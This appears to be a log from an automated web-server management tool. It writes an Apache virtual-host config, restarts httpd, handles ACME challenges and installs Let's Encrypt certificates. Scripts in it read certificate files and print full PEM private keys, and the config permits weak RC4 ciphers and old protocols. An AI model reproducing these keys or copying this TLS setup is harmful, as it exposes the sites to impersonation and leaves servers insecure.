#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=hostz_repo_org.conf
TARGET=/etc/httpd/conf.d/hostz_repo_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	repo.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_repo
    <Directory /var/www/hostz_repo>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/repo_access.log combined
    ErrorLog	/var/log/httpd/hostz/repo_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	repo.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt
    DocumentRoot	/var/www/hostz_repo
    <Directory /var/www/hostz_repo>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/repo_secure_access.log combined
    ErrorLog	/var/log/httpd/hostz/repo_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/httpd/conf.d/hostz_repo_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/httpd/sites-enabled/hostz_repo_org.conf)= /etc/httpd//etc/httpd/conf.d/hostz_repo_org.conf'
	echo 'file(/etc/httpd//etc/httpd/conf.d/hostz_repo_org.conf= 1'
fi


2025-10-16 06:00:21: 

chmod 755 /tmp/pkp101623; /tmp/pkp101623; rm /tmp/pkp101623

2025-10-16 06:00:21: 




2025-10-16 06:00:21: 

PUT: /tmp/pkp399597

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-16 06:00:21: 

chmod 755 /tmp/pkp399597; /tmp/pkp399597; rm /tmp/pkp399597

2025-10-16 06:00:22: 


.


2025-10-16 06:00:22: Establishing a connection
2025-10-16 06:00:23: 

PUT: /tmp/pkp478191

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-16 06:00:24: 

chmod 755 /tmp/pkp478191; /tmp/pkp478191; rm /tmp/pkp478191

2025-10-16 06:00:24: 


[Thu Oct 16 06:00:24.688017 2025] [so:warn] [pid 684917:tid 140158432303424] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
         port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
         port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
*:443                  is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
         port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
         port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex cache-socache: using_defaults
Mutex authdigest-opaque: using_defaults
Mutex watchdog-callback: using_defaults
Mutex proxy-balancer-shm: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
Mutex lua-ivm-shm: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/etc/httpd/run/" mechanism=default 
PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.




STDERR:
[Thu Oct 16 06:00:24.688017 2025] [so:warn] [pid 684917:tid 140158432303424] AH01574: module status_module is already loaded, skipping


2025-10-16 06:00:24: 

PUT: /tmp/pkp810657

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/httpd/conf.d/hostz_repo_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-16 06:00:25: 

chmod 755 /tmp/pkp810657; /tmp/pkp810657; rm /tmp/pkp810657

2025-10-16 06:00:25: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/hostz_repo_org.conf	1840

<VirtualHost *:80>
    ServerName	repo.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_repo
    <Directory /var/www/hostz_repo>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/repo_access.log combined
    ErrorLog	/var/log/httpd/hostz/repo_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	repo.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt
    DocumentRoot	/var/www/hostz_repo
    <Directory /var/www/hostz_repo>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/repo_secure_access.log combined
    ErrorLog	/var/log/httpd/hostz/repo_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-16 06:00:25: 

PUT: /tmp/pkp695868

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-16 06:00:26: 

chmod 755 /tmp/pkp695868; /tmp/pkp695868; rm /tmp/pkp695868

2025-10-16 06:00:26: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt	5345
1e:fb:87:41:18:01:5f:00:8b:0b:ba:59:18:6e:87:ea

-----BEGIN CERTIFICATE-----
MIIE+jCCA+KgAwIBAgISBjeDrf/o6iVPxoPvgddbmdB2MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDE2MDUwMTQ0WhcNMjYwMTE0MDUwMTQzWjAZMRcwFQYDVQQD
Ew5yZXBvLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AJZlzsk9rIloP9BmPlYpLoTysVLqG7kfEv2CR3ZtBVlOc71tdrejC9Q+Uer9ODv2
6qiBGeTirgXea2KziuO1EsNI8oaAf9NGlbiRqdbzrnpF5nCUPiyn5yI1L417cdCB
75W2xt7YSkIBGptP7so9VjM8jNv97+cJPPmP/V4s875MV5x+miLGZscDTmqKQXqp
bnQnYCgY9dk+q3BvssxxNx5niRhbSLFfBGz/q9Mc8IHO3FKboRQ3en2YY9SSCq39
4eheSyzblDz2FelfyP2t6gtgfMZTg5ZmZOB5ChoMf8Pgf0z14REvp+Wmnf5Wedcf
9Cddpoe07mACsKZ/gtd/uDkCAwEAAaOCAiAwggIcMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUFNWD+gNGIBZgx146Ye2jGSUsFhAwHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzAZBgNVHREEEjAQgg5yZXBvLmhvc3R6Lm9yZzATBgNV
HSAEDDAKMAgGBmeBDAECATAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcjEyLmMu
bGVuY3Iub3JnLzExOS5jcmwwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEAdgBkEcRs
pBLsp4kcogIuALyrTygH1B41J6vq/tUDyX3N8AAAAZnrmsrXAAAEAwBHMEUCIH2A
lFlwRpzZWJ9qisOXfIFwqaEG6kIgJgNwKLav/HJqAiEA72jTbJ0fxalDWwDr3Tg4
+zPhciieihyyjejH4AmvXAMAdwAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWs
YcVOIQAAAZnrmsrfAAAEAwBIMEYCIQCicKcJTSkatZ9VFw0RV8+uBVNvI3/YjHt3
Lr3ydWkhOwIhAN7VpqHgRY53tlT8vUuV8fbaSY1PDZZJOEEhD5KbDmnKMA0GCSqG
SIb3DQEBCwUAA4IBAQA5YINLRxMVwqB3AQXghGPFjv6s9j198Ak2bWkt3NEeFa/i
un3Ni/aShPdR1/owyjQDl873wudgZRvpgVY9WoCqIzXsqDI1GIn+bM0FLwc60FP0
FqxRfjjBsE9ChJZkPjDLs/iHrP6e2GQf3VqIKmv/zzi59CpKwdqMxFiPBT0jcCBW
J23Tfq3ZAZS3S8W3O9wm0XtWg2tDNNxB7d+IhwAu6V7s+eqarHJ16ZaW5lelYfTK
CabV8x3EU/zNFAOE2Sx1jpWr7SDVdlldpo8D0VCWfSXhfTHgveI78CTOGf5WZlSQ
aGbDsZFavy1pOyhPO87KlIMehnRXbk12NpfnYsA2
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCWZc7JPayJaD/Q
Zj5WKS6E8rFS6hu5HxL9gkd2bQVZTnO9bXa3owvUPlHq/Tg79uqogRnk4q4F3mti
s4rjtRLDSPKGgH/TRpW4kanW8656ReZwlD4sp+ciNS+Ne3HQge+Vtsbe2EpCARqb
T+7KPVYzPIzb/e/nCTz5j/1eLPO+TFecfpoixmbHA05qikF6qW50J2AoGPXZPqtw
b7LMcTceZ4kYW0ixXwRs/6vTHPCBztxSm6EUN3p9mGPUkgqt/eHoXkss25Q89hXp
X8j9reoLYHzGU4OWZmTgeQoaDH/D4H9M9eERL6flpp3+VnnXH/QnXaaHtO5gArCm
f4LXf7g5AgMBAAECggEALgOZ/8IJzsSBea4+djgFTpG+JQMRVlMmiT9Zw+bZExjI
mnUqNEcDMH2crIuqr9X8t29AT+H2oj8JldoerUpSIkNoSDR6Z1aaKi0OzIAjqq9G
ML16RElekv24vc295bBLb//K2pVMKuORk2EiSuf3PpfQ9OG9i28tI6GlQDH6pQbY
WdtjsVm0wJzuEq0DlAAGIlvefTlBItzbVI/8ripZ/hnh56opzR4y2W7UXpNVWJXx
apZyTMG65tYRky5eq8Il30ICRJYD+oerxYNu2azKURcWAA02NXfsApyyzdXmlS29
Otyc18rpeFy+Gm/lR1y8+g/OxA1BHf+NVWdw1LiZHQKBgQDEcg0EO1Gapg7M3nH+
d10AJvkdXcBDT2lw8Gn3dsK3Mzg01xTwZKt9++shq5VFCifs4iDuQ5mTICb8d1iQ
RuCmZT4SZX9CRl3Ge1C9WYynlAPpX1bHCwt9IgLpw5VBD955sxeYW2tq/hq2BKoo
JQ+XcoClsP9PQJIcNNKArgGdzwKBgQDD/gdxWrCpoITIO5uSWX8kNQZQQkY7KUxi
dPLvXC4LXyc1fcDXs8xiQC9d2KGGXcGK6h3RGMCitQ2116o9+QxiWHiq/RuiEm61
yL5JaJzZPQ9yTqzitdfuQubey6/9qi+FE4gBYstIPQwfpt0OW1WfBe0x0QCNMbBM
RS8k3KcTdwKBgH2lKNglDJuqTFsSh7ynIa+gPcNfnEIw/5LB4jTqG75LH08Ephrf
eKRaxVhCw3Vl+oVTWJasXASzEtx1hQq6mqMyrBHeIxgDo6T4aHrDVOg2Do5scTdb
xBxj7ZMQil0Txkr2lkfXaQwEvJbgwuhsU92c2dWgMJvDA/DQhDbTlKsXAoGBALkE
VqxYa4tF3/NR6fPHDrH0aGhdmAUDYHtVYXw6LbFIezAQ7Xny3o8lflF+TkUUvr9P
cSRR1JAEkNPHqotkTp+MWyU3WN2vvtlWjuOnoOGmta03vhcqiJQAjgdmi1XQUZmz
rWF5jOM91fMPR4DlEbfUFW1Amt+vN3lYmj+XGRXTAoGAAUFeG+uDl5xkiAvGiMFN
xVMsy2u4AsiNn14y8Ob+RBUItDGrB+zR1AjzeMqKPwHAzrPhZPJqAPz70MriI9Qb
LOQq0+nnpb98D1sGucHsNQWioKUsHOzxd960Aw9lp+XLiJpf87g9bl/hfwFt5P7P
8NJgaatr44I4b5p8AmWaYN4=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-10-16 06:00:26: Establishing a connection
2025-10-16 06:00:27: Establishing a connection
2025-10-16 06:00:28: 

PUT: /tmp/pkp790923

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-16 06:00:29: 

chmod 755 /tmp/pkp790923; /tmp/pkp790923; rm /tmp/pkp790923

2025-10-16 06:00:29: 


0


2025-10-17 06:00:02: Establishing a connection
2025-10-17 06:00:03: Establishing a connection
2025-10-17 06:00:04: 

PUT: /tmp/pkp108970

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-17 06:00:05: 

chmod 755 /tmp/pkp108970; /tmp/pkp108970; rm /tmp/pkp108970

2025-10-17 06:00:05: 


0


2025-10-18 06:00:02: Establishing a connection
2025-10-18 06:00:04: Establishing a connection
2025-10-18 06:00:05: 

PUT: /tmp/pkp931564

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-18 06:00:06: 

chmod 755 /tmp/pkp931564; /tmp/pkp931564; rm /tmp/pkp931564

2025-10-18 06:00:06: 


0


2025-10-18 06:00:06: Establishing a connection
2025-10-18 06:00:07: Establishing a connection
2025-10-18 06:00:08: 

PUT: /tmp/pkp752349

#!/bin/bash
if [ -d "/mnt/internal/CDN/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-10-18 06:00:09: 

chmod 755 /tmp/pkp752349; /tmp/pkp752349; rm /tmp/pkp752349

2025-10-18 06:00:09: 


1


2025-10-18 06:00:10: Establishing a connection
2025-10-18 06:00:11: 

PUT: /tmp/pkp489558

#!/bin/bash
mkdir -p "/mnt/internal/CDN/.well-known/acme-challenge/"
cd "/mnt/internal/CDN/.well-known/acme-challenge/"
cat > vTHugvTKkgQbgqy3iS4RTSJoNGNx1Jg1D_Gmf-zRk4M <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
vTHugvTKkgQbgqy3iS4RTSJoNGNx1Jg1D_Gmf-zRk4M.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 vTHugvTKkgQbgqy3iS4RTSJoNGNx1Jg1D_Gmf-zRk4M


2025-10-18 06:00:12: 

chmod 755 /tmp/pkp489558; /tmp/pkp489558; rm /tmp/pkp489558

2025-10-18 06:00:12: 




2025-10-18 06:00:15: Establishing a connection
2025-10-18 06:00:16: 

PUT: /tmp/pkp135566

#!/bin/bash
mkdir -p "/mnt/internal/CDN/.well-known/acme-challenge/"
cd "/mnt/internal/CDN/.well-known/acme-challenge/"
rm vTHugvTKkgQbgqy3iS4RTSJoNGNx1Jg1D_Gmf-zRk4M


2025-10-18 06:00:17: 

chmod 755 /tmp/pkp135566; /tmp/pkp135566; rm /tmp/pkp135566

2025-10-18 06:00:17: 




2025-10-18 06:00:17: Establishing a connection
2025-10-18 06:00:18: 

PUT: /tmp/pkp351719

#!/bin/bash
temp_file=$(mktemp)
TARGET=33c1aca709cdbd6de954e7f75b205eb8.crt

cat > $temp_file <<'endmsg'
52:ee:a9:da:9a:09:76:d2:ad:ca:a0:00:c6:13:1f:26

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBhGgbknroABevVk74Mt1KEqjMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDE4MDUwMTQ1WhcNMjYwMTE2MDUwMTQ0WjAjMSEwHwYDVQQD
ExhjZG40LmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDOYfnD6CxpaoRQnLzcDjTsAhoisPZzQQub1V++J75T+i/d8ZK7
aZbpII3EuF1Bk/BFGqtqgfks//0eszBTVy1CTA0Ia7zzvo3w8DkJm2Wg+pyJYftW
5LyUplTcUlRAtyYCjQU2r1mUTokjPMu6/AO1xvB1+5GTugNmInG8FoWwd1Tjpjf9
ARHyDk6Pr9fDWMZ5vDXwV/CxPbd+5xkbSXr/YIR4oCedXD98KeZkEU+KQeidVvPm
d+nPqyxK9w+Hhr/j6grs+OC9MEH1CelZnWoxjO0O0xaZPJw9ZKBXkecXX2xgZVWm
2duVchyYFphk3efQcCP1ybBcBLLEIhVVOVQPAgMBAAGjggIqMIICJjAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFIK8wO88oNcbv0l+Z53uv9YPAJHGMB8GA1UdIwQYMBaA
FOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuNC5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMzYuY3JsMIIBBgYKKwYBBAHW
eQIEAgSB9wSB9ADyAHcASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMA
AAGZ9eeGrwAABAMASDBGAiEA1cz2RaKGpcNhWMNsoZx0ZYKoZTkudJyKecI3x0BV
L2MCIQCUcUa/Gl3POnpu+JzO10GAzdWqaZnYXiGVrzZbRzfH5gB3AJaXZL9VWJet
90OHaDcIQnfp8DrV9qTzNm5GpD8PyqnGAAABmfXnhuwAAAQDAEgwRgIhAMJFITHg
ZSuRYKirxd1bBK5+DLIgOwYeOkVepkFM4ZsAAiEAgb1/OWMNMTPnhnUZLYsd2bx9
yTdq/1lsrsUGo+Hi9pkwDQYJKoZIhvcNAQELBQADggEBAKM6WkCnKhx0Fq4hMLwC
VlmSAOs87WEy/efGAW3Jjbza9ZkLKUUkyX96VEFi/cokU47nGDYj2vu1vlrxpmGM
8Edj0EowLRkkVWYqeY+MDx3cFuPszdnO/UOW6162nRG5ct+sipKMXTCkfYgWKqIz
LvwJvmNd1k+dgSEuMG7jWTvs0wGbjTizHd+br3UnZqjjjXccVTyObslH5tEPrRyh
6Gy5llrArR9Gmp+SE1D4dKOyUWaqXWivPxs3HlVz0eLNVe5PoY3IAbrRWDz4cApo
FDJbUwOCRNi7FobehoVgnwai3/9IjEYRP1NvVnpwhiYd16DCE79dZ63+zA52Eeo/
JvQ=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDOYfnD6CxpaoRQ
nLzcDjTsAhoisPZzQQub1V++J75T+i/d8ZK7aZbpII3EuF1Bk/BFGqtqgfks//0e
szBTVy1CTA0Ia7zzvo3w8DkJm2Wg+pyJYftW5LyUplTcUlRAtyYCjQU2r1mUTokj
PMu6/AO1xvB1+5GTugNmInG8FoWwd1Tjpjf9ARHyDk6Pr9fDWMZ5vDXwV/CxPbd+
5xkbSXr/YIR4oCedXD98KeZkEU+KQeidVvPmd+nPqyxK9w+Hhr/j6grs+OC9MEH1
CelZnWoxjO0O0xaZPJw9ZKBXkecXX2xgZVWm2duVchyYFphk3efQcCP1ybBcBLLE
IhVVOVQPAgMBAAECggEAViZl2VZoe5SgKPpUh9NSWhZCjKqsJc5IJ0O5lKoIdAui
wZXet2bLPQN+ylhfbUlw6ZfJaEtbFWLCaXdJO/DPDraqVhKLLIAlxiaw2IbKtJkI
kPyaq1oOMksAb3vaea06K6RsQbiOvy7NZi0xqhsa/V1O8SETUsQ6OP811Nrd8ZwO
ctDw0rpYhZ4ef/YGW6D0lsODxY8FnHVtJutjGgjOE+030P67+Rwp9o6FQB1z8Vuq
IXr3FaMtXvje/U12d1gKhU9DW2LjADoqFuGEbw39FIGe479q42IdVZfv5uQl397A
Tcy6qh1o/SRO7TSbPHntaWWSY6UnvSStab6kIdIu+QKBgQDwz35NOs7drl4uQTFv
dCi3Hn8D7D+1O/dV2ILFfOg0btvsPAfFUAjQMBTC1Oy3Vuf8ubcvdwXAv3zFtK5C
CSwLeQbv5X1W43R6lRwoZ6V6kxLsk8VN6L0u4POtx7RbFeXy2dm/oDgJ/xUgrq7N
U0e3KcRidqWP8ZmcwffzePlg3QKBgQDbZo6ABI9IiwG76nklOhLfAe19iq4FK1bH
pW6vetJHXy5divrf5ztIHnC3NYuV3Oh0QiCLHQxp2tliy6gh3WfVvx5HG4ZL2FGm
S234fMlq2L2ga3+WQyvPGJ9/aDdWMtJJmXAxCdwd1EMP+rPzq9Q22iqyHEfeoL7Z
8ksXZ0Zj2wKBgEXCRftHYu/S+FN77T81LipF+lN/l8D/mxnSO6fMFFREHQ9lIHcn
RTZSB2GdXumJknCiuA9W8mKw1gtL2QMmNw0nxTuvhkyqXW65TUvjIovMmTnRYOG9
3zf6UHzyEiwkvtVICI07c6BptYwfLmIqkubbgZlod3OocHB5vENasxs9AoGBALaK
wp8yrAAgX8X4lOjrQ442LWFZg+YbI+2h79CisNffElWT751g5wrfAMr+CvAaR3GL
H0Z/Wbes9VdkuLPMYbsOc2OYPAlYpr5kXc/0CyURxdv19MaRhp6dDv9TN09Jo3rG
5fh3CqPq2g0uepCPc1Zb+FAOhaFuPrxZAi8rpv4nAoGBAJNnemH52tolt3xblboh
rWamEyqNMdehELMKz8ULnMiMy3HGK3QzQNzFaTvS6+FAt74FM9ybJN+a270hnwmg
